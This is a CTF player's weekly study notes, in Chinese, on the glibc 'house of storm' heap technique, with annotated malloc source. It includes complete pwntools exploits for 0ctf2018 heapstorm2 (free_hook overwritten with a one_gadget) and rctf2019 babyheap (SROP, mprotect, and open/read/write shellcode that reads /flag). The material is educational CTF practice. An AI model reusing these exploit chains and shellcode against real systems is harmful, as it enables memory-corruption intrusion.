house of stom

完成事项

house of stom学习

未完成事项

wmctf的blineless没打通

如何解决未完成事项

下周待做事项

house of orange

house of lore

本周学习的知识分享

house of stom

条件：1.能控制unsorted的bk指针，还有largebin的fd_nextsize和bk_nextsize

码源分析

largebin attack：申请大chunk的时候，会先成unsortedbin中将空闲的chunk链入largebin中，如果我们能控制bk

unsorted链入largbin的流程

会遍历所有的unsortedbin然后把他链在largebin上面，会先把chunk脱链，chunk被链到largebin上之后，会回来把targechunk链入largebin中，但是会对targechun进行检查

//house of stom：直接取出，要在这块伪造的chunk的fd上面填一个合法的地址
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

但是targechunkd的fd指针要合法

相关码源阅读

  else
            {
              victim_index = largebin_index (size);//计算size在largebin的下标
              bck = bin_at (av, victim_index);//根据下标，计算得到堆列表的头指针
              fwd = bck->fd;//fwd是bin里面的最大堆块

              /* maintain large bins in sorted order */
               //fwd==bck的话说明largebin现在没有空闲chunk，如果是空闲直接插入
              if (fwd != bck)//
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  //如果申请的chunk小于第一块最小chunk的大小，那就直接插入最小chunk的尾部
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      //入链操作
                      fwd = bck;
                      bck = bck->bk;
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      //遍历fd_nextsize有序链表上的所有chunk
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }
                      //找到范围内的chunk，如果相等直接入链
                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      //不相等，但是小于上一块chunk，入链有序链
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;//可以把targechunk-8的地址伪造在此处，第一块chunk入largebin之后，targechunk->fd
                           //就可以被写入一个合法的地址

          bck->fd = victim;

开了pie的堆块，高字节是0x55或者0x56,如果是小端序的话，刚好指向size然后-5可以让高字节的0x56填在此处伪造chunk

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;//
//加入了条件fwd->bk_nextsize->fd_nextsize == fwd
//(targechunk-5-0x18)+0x18+0x10==targechunk-5-0x18

//victim->bk_nextsize=targechunk-0x18-5
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//(targechunk-0x18-5)->fd_nextsize=victim

伪造的结构

这样我们就可以把targechunk成功链在largebin上面了

0ctf2018_heapstorm

漏洞分析

mmap开辟了一块空间存储size和堆块指针，但是所有的size和堆块指针都会被与mmap的地址进行异或操作，mmap的地址是固定的，就相当于告诉了我们key

edit函数strcpy存在offbynull漏洞，但是他在每个chunk的末尾都加了字符串，也就是我们没办法直接的覆盖prevsize。

#没办法控制prevsize
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,0xa00-0x8,b'a'*(0xa00-0x10)+p64(0xa00))
free(1)
edit(0,0x28-0xc,b'a'*(0x28-0xc))#将size位的0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)#触发unlink，完成堆块的堆

0xb41中就是chunk1，4，5，6的chunk，我们可以通过修改0xb41的chunk来修改其他的chunk

offbynull构造堆重叠，然后再把两块大chunk先后释放，一块在unsortedbin和一块在largebin

payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)#将mmap_addr的地址挂在bk上，chunk4被挂入largebin之后，会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin
payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)

在通过构造的堆重叠进行修改unsortedbin的bk指针和largebin的指针

0x13370800是申请的chunk，他的size位已被修改

接下来就是泄露地址，然后把freehook改成onegadget就行了

from pwn import *
libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')
ly=process("./0ctf_2018_heapstorm2")
#ly=remote("node4.buuoj.cn",27257)
elf = ELF("./0ctf_2018_heapstorm2")
#atoi_got = elf.got['atoi']
def add(size):
    ly.sendlineafter(b"Command:",b'1')
    ly.sendlineafter(b"Size:",str(size))
def edit(idx,size,content):
    ly.sendlineafter(b"Command:",b'2')
    ly.sendlineafter(b"Index:",str(idx))
    ly.sendlineafter(b"Size:",str(size))
    ly.sendafter(b"Content:",content)
def free(idx):
    ly.sendlineafter(b"Command:",b'3')
    ly.sendlineafter(b"Index:",str(idx))
def show(idx):
    ly.sendlineafter(b"Command:",b'4')
    ly.sendlineafter(b"Index:",str(idx))
def dbg(content=0):
    gdb.attach(ly,content)
    pause()
#没办法控制prevsize
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,0xa00-0x8,b'a'*(0xa00-0x10)+p64(0xa00))
free(1)
edit(0,0x28-0xc,b'a'*(0x28-0xc))#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
mmap_addr = 0x13370800-0x10
add(0xb30)#1  溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,len(payload),payload)
#dbg()
free(6)
add(0x500)#2
free(4)
#unsortbin
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)#将mmap_addr的地址挂在bk上，chunk4被挂入largebin之后，会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin

payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)

add(0x48)#4把mmap从largebin上申请下来
dbg()
payload = p64(0)*3+p64(0x13377331)+p64(mmap_addr+0x10)+p64(0x80)
edit(4,len(payload),payload)
show(0)
ly.recvuntil(": ")
ly.recv(0x60)
xor= u64(ly.recv(8))
main_arena = xor^ (mmap_addr+0x10)
libc_base = main_arena - 0x3c4b78
free_hook = libc_base +libc.sym['__free_hook']
print('free_hook----->',hex(free_hook))
one_gadget = libc_base + 0x4527a
print("one--->",hex(one_gadget))
payload = p64(0)*4+p64(free_hook)+p64(0x8)
edit(0,len(payload),payload)
edit(0,0x8,p64(one_gadget))
#dbg()
free(2)
ly.interactive()

rctf_2019_babyheap

漏洞分析

offbynull，没有限制堆大小，制造堆叠，然后控制unsortedbin和largebin

但是开了沙箱，把_free_hook的地址改成setcontext，然后进行利用这里堆rsp，rdi，rsi等寄存器进行利用，本来手打的payload，看其他师傅的wp是用srop，控制程序执行mproject，再读取shellcode进行orw（还是有收获的！）

先制造堆叠

add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,b'a'*(0xa00-0x10)+p64(0xa00)+b'\n')
free(1)
edit(0,b'a'*0x28)#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
add(0x80)#1

show(4)
#0x7f8c6c252b78 (main_arena+88)
ret=ly.recv()
libc.address=u64(ly.recv(6).ljust(8,b'\x00'))-0x3c4b61-0x17

这里的构造方法其实也跟上面的题目是一样的结构，但是上一道题目已经知道一个mmap的地址，这道题需要泄露基地址，其实也就是堆重叠，然后分割，用show功能泄露

然后接下来就是把__free_hook挂上unsortedbin的bk和largebin上，进行house of stom

add(0xb30)#1  溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,payload)
#这一步是调整一下size位置，以为在free后unlink会检查，也是调了很久，翻了很久码源
free(6)
add(0x500)#2
free(4)
#unsortbin
framechunk=free_hook-0x20
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(framechunk)#将mmap_addr的地址挂在bk上，chunk4被挂入largebin之后，会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin

payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(framechunk+8)
payload += p64(0)+p64(framechunk-0x18-5)
edit(1,payload)

再次malloc（0x56）就可以把__free_hook申请到

add(0x48)#4把__free_hook从largebin上申请下来
new_addr =  free_hook &0xFFFFFFFFFFFFF000
set_context=libc.sym['setcontext']
shellcode1 = '''
	xor rdi,rdi
	mov rsi,%d
	mov edx,0x1000

	mov eax,0
	syscall

	jmp rsi
''' % new_addr
edit(4,b'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
print("free-+++++++++++++++++----->",hex(free_hook))
print("new_addr-+++++++++++++++++----->",hex(new_addr))
#payload=0x98*b'a'+p64(free_hook+0x10)+
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(1, bytes(frame))
#dbg()
free(1)#
shellcode2 = '''
	mov rax, 0x67616c66 ;// /flag
	push rax

	mov rdi, rsp ;// /flag
	mov rsi, 0 ;// O_RDONLY
	xor rdx, rdx ;
	mov rax, 2 ;// SYS_open
	syscall

	mov rdi, rax ;// fd
	mov rsi,rsp  ;
	mov rdx, 1024 ;// nbytes
	mov rax,0 ;// SYS_read
	syscall

	mov rdi, 1 ;// fd
	mov rsi, rsp ;// buf
	mov rdx, rax ;// count
	mov rax, 1 ;// SYS_write
	syscall

	mov rdi, 0 ;// error_code
	mov rax, 60
	syscall
	'''
ly.sendline(asm(shellcode2))
ly.interactive()

释放chunk1时，rdi指向chunk1，其实也就是我们布置的srop的地方

完整exp

from pwn import *
ly = process("./pwn")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size):
	ly.sendlineafter(b"Choice: \n",b'1')
	ly.sendlineafter(b"Size: ",str(size))

def free(index):
	ly.sendlineafter(b"Choice: \n",b'3')
	ly.sendlineafter(b"Index: ",str(index))

def show(index):
	ly.sendlineafter(b"Choice: \n",'4')
	ly.sendlineafter(b"Index:",str(index))

def edit(index, content):
	ly.sendlineafter(b"Choice: \n",'2')
	ly.sendlineafter(b"Index: ",str(index))
	ly.sendafter(b"Content: ",content)
def dbg():
	gdb.attach(ly)
	pause()
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,b'a'*(0xa00-0x10)+p64(0xa00)+b'\n')
free(1)
edit(0,b'a'*0x28)#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
add(0x80)#1
show(4)
#0x7f8c6c252b78 (main_arena+88)
ret=ly.recv()
libc.address=u64(ly.recv(6).ljust(8,b'\x00'))-0x3c4b61-0x17
free_hook = libc.sym['__free_hook']
print(hex(free_hook))
free(1)
add(0xb30)#1  溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,payload)

free(6)
add(0x500)#2
free(4)
#unsortbin
framechunk=free_hook-0x20
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(framechunk)#将mmap_addr的地址挂在bk上，chunk4被挂入largebin之后，会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin

payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(framechunk+8)
payload += p64(0)+p64(framechunk-0x18-5)
edit(1,payload)
add(0x48)#4把mmap从largebin上申请下来
new_addr =  free_hook &0xFFFFFFFFFFFFF000
set_context=libc.sym['setcontext']
shellcode1 = '''
	xor rdi,rdi
	mov rsi,%d
	mov edx,0x1000

	mov eax,0
	syscall

	jmp rsi
''' % new_addr
edit(4,b'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
print("free-+++++++++++++++++----->",hex(free_hook))
print("new_addr-+++++++++++++++++----->",hex(new_addr))
#payload=0x98*b'a'+p64(free_hook+0x10)+
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(1, bytes(frame))
dbg()
free(1)
#sleep(0.5)
shellcode2 = '''
	mov rax, 0x67616c66 ;// /flag
	push rax

	mov rdi, rsp ;// /flag
	mov rsi, 0 ;// O_RDONLY
	xor rdx, rdx ;
	mov rax, 2 ;// SYS_open
	syscall

	mov rdi, rax ;// fd
	mov rsi,rsp  ;
	mov rdx, 1024 ;// nbytes
	mov rax,0 ;// SYS_read
	syscall

	mov rdi, 1 ;// fd
	mov rsi, rsp ;// buf
	mov rdx, rax ;// count
	mov rax, 1 ;// SYS_write
	syscall

	mov rdi, 0 ;// error_code
	mov rax, 60
	syscall
	'''
ly.sendline(asm(shellcode2))
ly.interactive()

本周自己学习过程中遇到的问题和疑问点

情感、思考、观点

中途几天在应急响应，最后两天hvv了，挺住！

翻了好久码源

在团队的感触和建议